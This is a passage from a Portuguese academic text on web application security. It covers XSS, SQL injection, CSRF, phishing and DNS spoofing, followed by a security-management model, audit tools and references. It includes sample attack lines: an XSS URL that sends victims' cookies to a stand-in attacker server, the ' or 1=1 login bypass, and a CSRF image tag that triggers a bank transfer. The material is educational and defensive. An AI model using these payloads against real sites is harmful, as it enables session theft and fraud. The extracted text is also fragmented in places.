ou não. Segundo Noureddine e Damodaran (NOUREDDINE; DAMODARAN, 2008), é neste
momento que nasceu o ataque XSS, pois os invasores têm a possibilidade de injetar client-side
script16 dentro das páginas WEB legítimas para que seja executado no momento em que tais
páginas forem acessadas.
Segundo Jovanovic (JOVANOVIC et al., 2006), um dos propósitos principais dos ataques
XSS é roubar as credenciais (por exemplo, o cookie) de um usuário autenticado, para que o
invasor consiga representar a sessão ativa da vítima. A ideia básica é que, em uma página vul-
nerável, o invasor pode injetar seu próprio comando malicioso, para que posteriormente busque
o verdadeiro código para invasão em outro domínio — normalmente controlado pelo próprio
invasor. Por exemplo, considera uma pagina WEB escrita em PHP que contenha a linha de có-
digo da listagem 1 onde as informações são recebidas através de uma caixa de texto. Os dados
do parâmetro são enviados por meio do comando GET, porém o invasor tem a possibilidade de
modificá-los, ver listagem 3.
Tudo o que o atacante deve fazer é enganar o usuário para clicar no link modificado da
listagem 3 ao invés do link da listagem 2, por exemplo, enviando-o para a vítima através de e-
mail. Ao clicar, a página (roubarCookie.php) é injetada na máquina da vítima e poderá roubar
cookies (que geralmente têm credenciais de autenticação), teclas, dados de formulário e assim
por diante — enviando para o servidor do invasor.
13 Nikto Web Scanner é um scanner que realiza testes para arquivos perigosos, verifica se os softwares do servidor
está desatualizado.
14 Parosproxy é utilizado para avaliar a vulnerabilidade de aplicações web desenvolvido em Java. Suporta a edi-
ção e visualização das mensagens HTTP e HTTPS, como também, um scanner para testes de ataques de aplicação
web comum, como injeção de SQL e cross-site scripting (XSS)
15 WebScarab é uma ferramenta, que age como uma proxy, interceptando as requisições e respostas entre o
http://site.vulneravel.com/post.php?parametro=id_sessao
A maioria das aplicações WEB necessita armazenar informações, e nada melhor do que
um banco de dados para tal proposto. Infelizmente, várias aplicações deixam de inspecionar
o conteúdo de uma consulta SQL (query17 ) e, com isso, não constrõem consultas de forma
segura. O SQL Injection é então, de acordo com Lam (LAM et al., 2008), um ato que o atacante
consegue inserir instruções SQL dentro de uma query por meio da manipulação da entrada de
dados de uma aplicação.
Para concretizar o conceito da injeção SQL, vamos demonstrar um caso comum, com o
seguinte exemplo: supondo que para autenticar o acesso em uma aplicação fictícia é utilizado
o código da listagem 4. As variáveis username e password recebem o conteúdo enviado do
formulário da página WEB. Entretanto, se o usuário inserir os dados (’ or 1=1; –) para a va-
riável username e deixar vazio o campo password, resultará em outra consulta completamente
diferente da inicial, com relação a semântica SQL (ver listagem 5). Isto é, o invasor consegue
contornar o sistema de autenticação, pois não importa qual o nome do usuário a consulta sem-
pre retornará um valor booleano verdade, pois a query se resume na verificação booleana OR,
no qual um dos membros da equação é 1 = 1. Isso permite que o agressor se autentique sem
possuir uma senha ou nome de usuário válido.
http://site.vulneravel.com/post.php?parametro=
<script>document.location= ’servidor.invasor.com/roubarCookie.php?’+document.cookie</script>
SELECT * FROM users WHERE username = ’" + username + "’ AND password = ’" + password + "’";
Listagem 4: Exemplo de Injeção de SQL – Injetando código SQL nas caixas de textos
6.5.3.3 CSRF
O CSRF (Cross-site reference forgery – “pedido falso entre sites”) é um ataque similar ao
XSS, mas basicamente a diferença é que o invasor rouba os cookie (ainda com sessões ativas)
usados em outra aba no próprio navegador. Por exemplo, a vítima carrega uma página WEB
que faz referência a uma imagem cujo endereço foi substituído por uma chamada para outro
site, provavelmente uma que a vítima tenha um acesso por autenticação. E caso no momento do
acesso à página modificada, a vítima esteja autenticada nesta aplicação WEB, o invasor poderá
executar ações indesejadas, como uma transferência bancária (ver listagem 6, mas somente
funcionará se vítima estiver autenticada no banco e sua sessão ativa).
Esse ataque é relativamente novo, segundo Barth (BARTH et al., 2008), porque a navega-
ção por abas só se tornou popular nos últimos anos. De acordo com Wadlow e Gorelik (WA-
DLOW; GORELIK, 2009), essa técnica de invasão é uma demonstração interessante de como
um recurso do navegador pode amplificar velhos problemas. Uma das razões pelas quais os
engenheiros da Google (GOOGLE, 2009a) distribuem cada aba em processos distintos, no Ch-
rome (GOOGLE, 2009b), é para evitar ataques CSRF, afirmam Wadlow e Gorelik (WADLOW;
GORELIK, 2009).
6.5.3.4 Phishing
O ataque phishing é composto por um golpe eletrônico cujo objetivo é roubar dados sigi-
losos da vítima, tais como senhas, número da conta bancária e números de cartão de crédito,
através da falsificação de uma organização confiável e a subsequente comunicação eletrônica
“oficial” por meio de e-mails e páginas WEB falsas. Para conseguir capturar as informações
confidenciais, os phishers devem que utilizar técnicas para estimular as vítimas a cederem tais
informações. Segundo Moosa e Alsaffar (MOOSA; ALSAFFAR, 2008), esta indução para ex-
trair os dados é denominada engenharia social. O termo phishing é variante da palavra inglesa
fishing (em português, “pescar”), ou seja, a essência desse ataque é baseado na tentativa de
“pescar” os dados dos usuários.
6.5 Exemplos de Ataques Conhecidos 77
<img src=’’http://banco.exemplo/transferencia?conta=joao&valor=1000000&for=invasor’’>
O DNS Spoofing é a arte de falsificar uma resposta DNS (DNS Responds) para enganar a
vítima desviando-a ao um domínio diferente do esperado, ou seja, apontar para um IP diferente
do que seria suposto a apontar. Por exemplo, a vítima visita uma página WEB de um banco
qualquer (www.banco.com.br) e imediatamente o navegador WEB irá realizar um pedido DNS
(DNS Request) da URL em questão para o servidor DNS, e este retornará uma resposta DNS
(DNS Responds), o qual contém o endereço IP legítimo do servidor WEB onde o site do banco
está armazenado. No entanto, durante um ataque de DNS Spoofing a vítima recebe uma res-
posta DNS modificada contendo um endereço IP de um outro servidor (normalmente de posse
do invasor) forçando-a a se conectar a esse servidor WEB. Caso o ataque DNS Spoofing seja
combinado com o phishing, a vítima será redirecionada a um site semelhante do banco, ou seja,
todo processo é transparente para o usuário, pois este digita uma URL válida e é direcionado a
uma página falsificada.
6.5 Exemplos de Ataques Conhecidos 78
6.5.3.6 Clickjacking
Uma arquitetura básica de segurança para a proteção das aplicações na WEB é ilustrada na
figura 7.1. Normalmente, esta arquitetura é composta por quatro camadas, as quais são: (1)
camada do usuário (desktop); (2) camada de transporte entre o usuário e o servidor WEB; (3)
camada da rede interna do servidor e (4) camada da aplicação. Desse modo, prover a proteção
nestas quatro camadas, consequentemente, irá garantir a segurança de toda a comunicação entre
o usuário e a aplicação WEB.
tes de construí-las para que o programador possa desenvolvê-la com uma pré-orientação sobre
a segurança. Ou seja, o ideal é desenvolvê-la com baixa taxa de vulnerabilidades, ao invés de
consertá-la, posteriormente, pelo estilo codifica/remenda (método “tapa-buraco”).
O Modelo de Teias (NAKAMURA; GEUS, 2004) é composto por sete fases e uma figura,
sendo que cada uma das fases possui uma função fundamental da maneira de como a segu-
rança deve ser executada. Todas as fases auxiliam na organização da estratégia de segurança,
diminuindo a probabilidade de algum aspecto ser esquecido. A figura 7.3 representa a figura
genérica do Modelo de Teias. No centro da figura encontra-se o recurso (por exemplo, firewall,
roteador, servidor WEB, servidor de e-mail, banco de dados, dentre outros) que será analisado.
Ao redor são traçados alguns elementos de segurança (por exemplo, portas abertas, controle de
acesso, senha, versão sistema operacional, procedimento em caso de ataque, dentro outros), os
quais devem ser avaliados.
Assim, o traço preto representa a situação real, enquanto o traço cinza representa a situação
desejada para o recurso. Cada circunferência circunscrita no recurso representa um nível de
segurança, o qual depende da política inicialmente estabelecida pelo gerente de segurança. Os
espaços entre os traços pretos e cinzas significa os risco do recurso. Assim, quanto maior o
espaço indica que o nível de segurança real do elemento é deficiente, e consequentemente,
será necessário maior esforço para atingir o nível ideal deste elemento, e, portanto melhorar a
7.2 Modelo de Gerenciamento de Segurança 82
segurança do recurso como um todo. Após a conclusão dos setes fases, gera como resultado,
uma relação da dimensão da segurança que é necessário ser aplicada em cada recurso, com o
objetivo de alcançar o nível ideal.
Nessa fase é necessário conhecimentos, pois uma análise contendo erros pode comprometer as
fases seguintes, ou seja, danificar o gerenciamento como um todo, por não ministrar uma visão
da situação real do recurso.
A classificação dos recursos consiste em somente definir o nível de segurança de cada ele-
mento de segurança do recurso, e interligando-os iremos traçar a teia real do recurso. Também
é preciso conhecimentos técnicos e experiência profissional nesta fase, pois qualquer erro pode
gerar uma falsa sensação de segurança, e neste caso, as implantações das medidas de segurança
podem ser insuficientes ou desnecessárias. Esta fase deve sempre ser realizada com frequência,
porque pode surgir uma nova vulnerabilidade ou um novo método de ataque e, com isso, o que
é considerado seguro hoje, pode ser inseguro amanhã.
Nessa fase consistem em apenas em realizar uma análise do recurso em questão de acordo
com os riscos envolvidos. Ou seja, consiste em mensurar os riscos de cada elemento de segu-
rança com o objetivo de minimizá-los.
Nesta fase a figura do Modelo de Teia esta completa (figura 7.4), e assim, é possível qual
elemento de segurança precisa aplicar as medidas de segurança necessárias para um progresso
geral do recurso. Esta analisa pode ser feita através da distância entre a teia real e a teia ideal.
Assim, o objetivo desta fase é determinar as medidas de segurança a ser tomados para a dis-
tância seja eliminada. Caso todas sejam omitidas o recurso encontra-se no seu estado ideal. É
neste momento que conhecimentos das técnicas e tecnologias de segurança são necessários e
fundamentais.
7.3 Ferramentas de auditoria de segurança 84
Fig. 7.4: Os elementos de seguraça definem o nível do servidor. Fonte: (NAKAMURA; GEUS,
2004)
Muitas organizações dependem dos software baseado na WEB para executar seus processos
de negócio, realizar operações e prestar serviços cada vez mais sofisticados para os clientes.
Infelizmente, na corrida para cumprir prazos e permanecer à frente da concorrência, muitas
organizações deixam de realizar testes adequados de segurança certificar-se se as normas de
proteção estão funcionando normalmente. O resultado é que muitas empresas podem expor
involuntariamente os dados corporativos ou pessoais para os criminosos, os quais exploram
essas vulnerabilidades por diversão ou com objetivo de colocar toda a organização em risco.
Portanto, para proteger as informações sigilosas é necessário testar os aplicativos WEB em todo
o seu ciclo de vida, desde o momento de desenvolvimento até o de funcionamento.
percorrem na aplicação WEB. Em outras palavras, todas as ferramentas agem como um “homem
do meio”.
7.3.1 Ratproxy
7.3.2 WebScarab
7.3.3 Paros
Além de verifica todas as páginas WEB, o Paros analisa também os conteúdo “invisíveis”, tais
como comentários e outras informações que auxiliam, direta ou indiretamente, a existência de
dados que não podem ser divulgado.
7.3.5 w3af
O w3af (Web Application Attack and Audit Framework) é um framework para automati-
zação da auditoria e exploração de vulnerabilidades nas aplicações WEB. Esta ferramenta é
um software livre e licenciado pelo GNU General Public License Version 2. (GNU, 2007), e
também, testas os principais ataques, como: XSS, CSRF e Injeção SQL. Desenvolvido na lin-
guagem de programação Python, portanto é o w3af pode ser executado tanto no ambiente Linux
quanto no Windows.
O programa IBM Rational AppScan (IBM, 2009) automatiza os testes de segurança de apli-
cações WEB através da análise e identificação de vulnerabilidades e a geração de relatórios com
recomendações de correção para facilitar o reparo. Esta ferramenta oferece suporte para as
últimas tecnologias da WEB 2.0, incluindo suporte avançado para a tecnologia Adobe Flash e
avançadas linguagens JavaScript, juntamente com um suporte abrangente para o AJAX. Além
disso, cada vez que a aplicação é iniciada, o AppScan, baixa as notificações sobre as últimas
ameaças de segurança do banco de dados da IBM. O Rational AppScan é composta por um con-
junto de seis edições, porem todas fornecem mecanismo de varredura, elaboração de relatórios
e recomendações para correções. A diferença é que cada versão focaliza em áreas específicas
7.3 Ferramentas de auditoria de segurança 87
• IBM Rational AppScan Build Edition: Aplica os testes de segurança das aplicações
WEB dentro da gestão do fluxo de desenvolvimento. Como resultado, esta edição oferece
uma abrangente análise da vulnerabilidade, e oferece um ambiente de recomendações
específicas para a correção das falhas;
• IBM Rational AppScan Developer Edition: Esta edição permite aos desenvolvedores
a capacidade de invocar testes de segurança para aplicação WEB no seu ambiente de
desenvolvimento;
• IBM Rational AppScan Express Edition: A edição express garante solução para auto-
matizar testes de segurança de aplicações WEB de médio porte;
• IBM Rational AppScan Enterprise Edition: A edição express garante solução para
automatizar testes de segurança de aplicações WEB de grande porte, é projetado para
ajudar as organizações a distribuir a responsabilidade para os testes de segurança entre os
múltiplos stakeholder;
• IBM Rational AppScan Reporting Console: Esta versão é apoiada por um banco de
dados empresarial que lhe permite consolidar os resultados da verificação das varredura
do AppScan através da construção de um repositório centralizado das vulnerabilidade do
aplicativo WEB com o propósito de gerar um histórico das vulnerabilidades encontradas;
• IBM Rational AppScan Standard Edition: Garente solução para automatizar testes de
segurança de aplicações WEB de pequeno porte, reduzindo os custos associados a testes
de verificações de vulnerabilidade realiza manualmente.
Além procurar as vulnerabilidades comuns das aplicações WEB, o AppScan também faz va-
lidação e testes das ameaças classificadas pela WASC (Web Application Security Consortium)
(WASC, 2009). Infelizmente, todas as edições do IBM Rational AppScan oferece suporte ape-
nas para o sistema operacional Windows e, também, é preciso pagar pelo seu uso. Enfim, o
AppScan tenta promover a garantir da segurança dos aplicativos WEB em todo o ciclo de vida
de desenvolvimento do software.
7.4 Comparativo entre as Ferramentas de Auditoria 88
8 Conclusão
Outra técnica para garantir a segurança no ambiente WEB é a identificação digital, processo
composto pela assinatura e certificado digital. As duas técnicas em conjunto são responsáveis
por estabelecer as transações eletrônicas respeitando as principais características de segurança –
integridade, autenticidade e da confidencialidade – impedindo a possibilidade das adulterações e
das interceptações das informações. Dessa forma, através da certificação digital é possível usar
a Internet como meio de comunicação alternativo para a disponibilização de diversos serviços
com uma maior agilidade, facilidade de acesso e substancial redução de custos.
Todas os mecanismos de proteção para ambiente WEB apresentados até então não garantem
a proteção na lógica da aplicação. Dessa forma, os principais problemas de segurança nas
aplicações WEB são a entrada de dados arbitrários, os quais podem ser inofensivos para os
protocolos criptográficos e, assim, deixam estas informações trafegarem livremente. Entretanto,
quando analisadas pela aplicação WEB propriamente dita, podem resultar na sua instabilidade e,
portanto, facilitando as invasões. Isto ocorre pois a maioria das aplicações são desenvolvidas em
linguagem sofisticada de programação (AJAX) onde as requisições são realizadas em client-side
as quais são passível de alterações. Desse modo, as maiorias dos ataques atualmente ocorrem
por não validar e filtrar a entrada das informações na camada da aplicação. Como exemplo
8 Conclusão 90
destas atividades citamos os principais tipos de ataques: injeção SQL, XSS e CSRF. Assim, para
solucionar este problema, apresentamos as ferramentas de auditoria de segurança que fazem
uma varredura nas aplicações WEB na procura dessas vulnerabilidades.
O objetivo dessa pesquisa não foi a de esgotar o assunto abordado, mas sim fornecer ao
leitor um texto compacto, mas que reúne conceitos fundamentais ao entendimento do tema.
Este trabalho pretende servir como base e motivação ao leitor na busca de novos conhecimentos
no campo da segurança relacionadas ao ambiente WEB. Há uma necessidade urgente para uma
detecção automática de vulnerabilidade no desenvolvimento dessas aplicações, especialmente
porque estão cada vez mais sendo utilizados em grande escala e tornando-se mais complexos,
como por exemplo, a introdução da computação na nuvem (cloud computing). Esta idéia é em
um futuro próximo utilizar, em qualquer lugar e independente de plataforma, as mais variadas
aplicações WEB através da Internet com a mesma facilidade de tê-las instaladas em nossos
próprios computadores. Logo, a segurança deste novo conceito será imprescindível.
91
Referências Bibliográficas
ALLEN, C. et al. The TLS Protocol Version 1.0. 1999. Disponível em: <http://www.ietf.org-
/rfc/rfc2246.txt>. Acesso em: 07.15.2009.
ANDERSON, R. et al. A Candidate Block Cipher for the Advanced Encryption Standard. 1998.
Disponível em: <http://www.cl.cam.ac.uk/˜rja14/serpent.html>. Acesso em: 21.04.2009.
BALDWIN, R. W. et al. The RC5 RC5-CBC RC5-CBC-Pad and RC5-CTS Algorithms. 1996.
Disponível em: <http://www.rfc-editor.org/rfc/rfc2040.txt>. Acesso em: 23.04.2009.
BALLANI, H. et al. Mitigating dns dos attacks. In: CCS ’08: Proceedings of the 15th ACM
conference on Computer and communications security. New York, NY, USA: ACM, 2008. p.
189–198. ISBN 978-1-59593-810-7. Acesso em: 21.10.2009.
BARKER, W. C. Recommendation for the Triple Data Encryption Algorithm (TDEA) Block
Cipher. NIST Special Publication 800-67. 2004. Disponível em: <http://csrc.nist.gov-
/publications/nistpubs/800-67/SP800-67.pdf>. Acesso em: 18.04.2009.
BARTH, A. et al. Robust defenses for cross-site request forgery. In: CCS ’08: Proceedings of
the 15th ACM conference on Computer and communications security. New York, NY, USA:
ACM, 2008. p. 75–88. ISBN 978-1-59593-810-7. Acesso em: 20.10.2009.
CISCO. SSL: Foundation for Web Security. 1998. Disponível em: <http://www.cisco.com-
/web/about/ac123/ac147/archived issues/ipj 1-1/ssl.html>. Acesso em: 06.29.2009.
DAEMEN, J. et al. Aes proposal: Rijndael. The Rijndael Block Cipher, p. 4–16, 1999.
Disponível em: <http://www.daimi.au.dk/˜ivan/rijndael.pdf>. Acesso em: 20.04.2009.
DAMELE, B. SQLmap: automatic SQL injection tool. 2009. Disponível em: <http://sqlmap-
.sourceforge.net/>. Acesso em: 14.10.2009.
Referências Bibliográficas 92
GUTIERREZ, C. M. et al. Digital Signature Standard (DSS). 2008. Disponível em: <http:-
//csrc.nist.gov/publications/drafts/fips 186-3/Draft FIPS-186-3%20 November2008.pdf>.
Acesso em: 05.18.2009.
HERZBERG, A. et al. Security and identification indicators for browsers against spoofing and
phishing attacks. ACM Trans. Internet Technol., ACM, New York, NY, USA, v. 8, n. 4, p. 1–36,
2008. ISSN 1533-5399. Acesso em: 20.10.2009.
IERACE, N. et al. Intrusion prevention systems. Ubiquity, ACM, New York, NY, USA,
v. 2005, n. June, p. 2–2, 2005. Acesso em: 20.10.2009.
ITU-T. Security architecture for open systems interconnection for CCITT Application:
Recommendation X.800. 1991. Disponível em: <http://fag.grm.hia.no/IKT7000/litteratur-
/paper/x800.pdf>. Acesso em: 05.29.2009.
JAMSA, K. A. et al. Hacker proof: the ultimate guide to network security General Interest.
[S.l.]: Cengage Learning, 2002. Acesso em: 21.07.2009.
JOVANOVIC, N. et al. Precise alias analysis for static detection of web application
vulnerabilities. In: PLAS ’06: Proceedings of the 2006 workshop on Programming languages
and analysis for security. New York, NY, USA: ACM, 2006. p. 27–36. ISBN 1-59593-374-3.
Acesso em: 21.10.2009.
KALISKI, B. Standard Specifications For Public Key Cryptography. 1999. IEEE 1363-2000.
Disponível em: <http://grouper.ieee.org/groups/1363/P1363/index.html>. Acesso em:
05.18.2009.
KAUFMAN, C. Internet Key Exchange (IKEv2) Protocol. 2005. Disponível em: <http://tools-
.ietf.org/html/rfc4306>. Acesso em: 05.17.2009.
KAUKONEN, K. et al. A Stream Cipher Encryption Algorithm "Arcfour". 1999. IETF Draft.
Disponível em: <http://www.mozilla.org/projects/security/pki/nss/draft-kaukonen-cipher-
arcfour-03.txt>. Acesso em: 28.04.2009.
KENT, S. et al. Security Architecture for the Internet Protocol. 2005. Disponível em:
<http://tools.ietf.org/html/rfc4301>. Acesso em: 23.07.2009.
Referências Bibliográficas 94
RIVEST, R. et al. The rc6 block cipher. RSA Laboratories and M.I.T. Laboratory for Computer
Science, Version 1.1, p. 1–3, 1998. Disponível em: <http://people.csail.mit.edu/rivest/Rc6-
.pdf>. Acesso em: 25.04.2009.
RIVEST, R. et al. A method for obtaining digital signatures and public-key cryptosystems.
Communications of the ACM, v. 21, p. 120–126, 1978. Disponível em: <http://theory.lcs.mit-
.edu/˜rivest/rsapaper.pdf>. Acesso em: 05.08.2009.
SAKALLI, M. et al. Cryptography education for students. In: Information Technology Based
Higher Education and Training, 2004. ITHET 2004. Proceedings of the FIfth International
Conference on. [S.l.: s.n.], 2004. p. 621–626. Acesso em: 07.04.2009.
SALOMON, D. Data privacy and security. [S.l.]: Springer, 2003. Acesso em: 21.04.2009.
SCHNEIER, B. Cryptanalysis of MD5 and SHA: Time for a New Standard. 2004. Disponível
em: <http://www.schneier.com/essay-074.html>. Acesso em: 07.15.2009.
SCHNEIER, B. et al. The Twofish encryption algorithm: a 128-bit block cipher. New York,
NY, USA: John Wiley e Sons, Inc., 1999. 3 - 10 p. ISBN 0-471-35381-7. Acesso em:
21.04.2009.
TANENBAUM, A. S. Computer networks. 4, illustrated. ed. [S.l.]: Prentice Hall PTR, 2002.
789-802 p. Acesso em: 21.04.2009.
TüNNISSEN, J. DNSSEC: DNS Security Extensions Securing the Domain Name System. 2007.
Disponível em: <http://www.dnssec.net/>. Acesso em: 08.25.2009.
VIVO, M. de et al. Internet security attacks at the basic levels. SIGOPS Oper. Syst. Rev., ACM,
New York, NY, USA, v. 32, n. 2, p. 4–15, 1998. ISSN 0163-5980. Acesso em: 06.06.2009.
W3C. World Wide Web Consortium. 2009. Disponível em: <http://www.w3.org/>. Acesso
em: 10.08.2009.
WADLOW, T. et al. Security in the browser. Commun. ACM, ACM, New York, NY, USA,
v. 52, n. 5, p. 40–45, 2009. ISSN 0001-0782. Acesso em: 19.10.2009.
WANG, X. et al. How to Break MD5 and Other Hash Functions. 2008. Shandong University,
Jinan 250100, China. Disponível em: <http://web.archive.org/web/20070604205756%
-/http://www.infosec.sdu.edu.cn/paper/md5-attack.pdf>. Acesso em: 05.21.2009.
X9. The Accredited Standards Committee X9, Inc. [s.d.]. Disponível em: <http://www.x9.org-
/home>. Acesso em: 05.19.2009.
ZALEWSKI, M. Ratproxy passive web application security assessment tool. 2008. Disponível
em: <http://code.google.com/p/ratproxy/>. Acesso em: 20.10.2009.
ZHANG, R. et al. On the feasibility of launching the man-in-the-middle attacks on voip from
remote attackers. In: ASIACCS ’09: Proceedings of the 4th International Symposium on
Information, Computer, and Communications Security. New York, NY, USA: ACM, 2009. p.
61–69. ISBN 978-1-60558-394-5. Acesso em: 20.10.2009.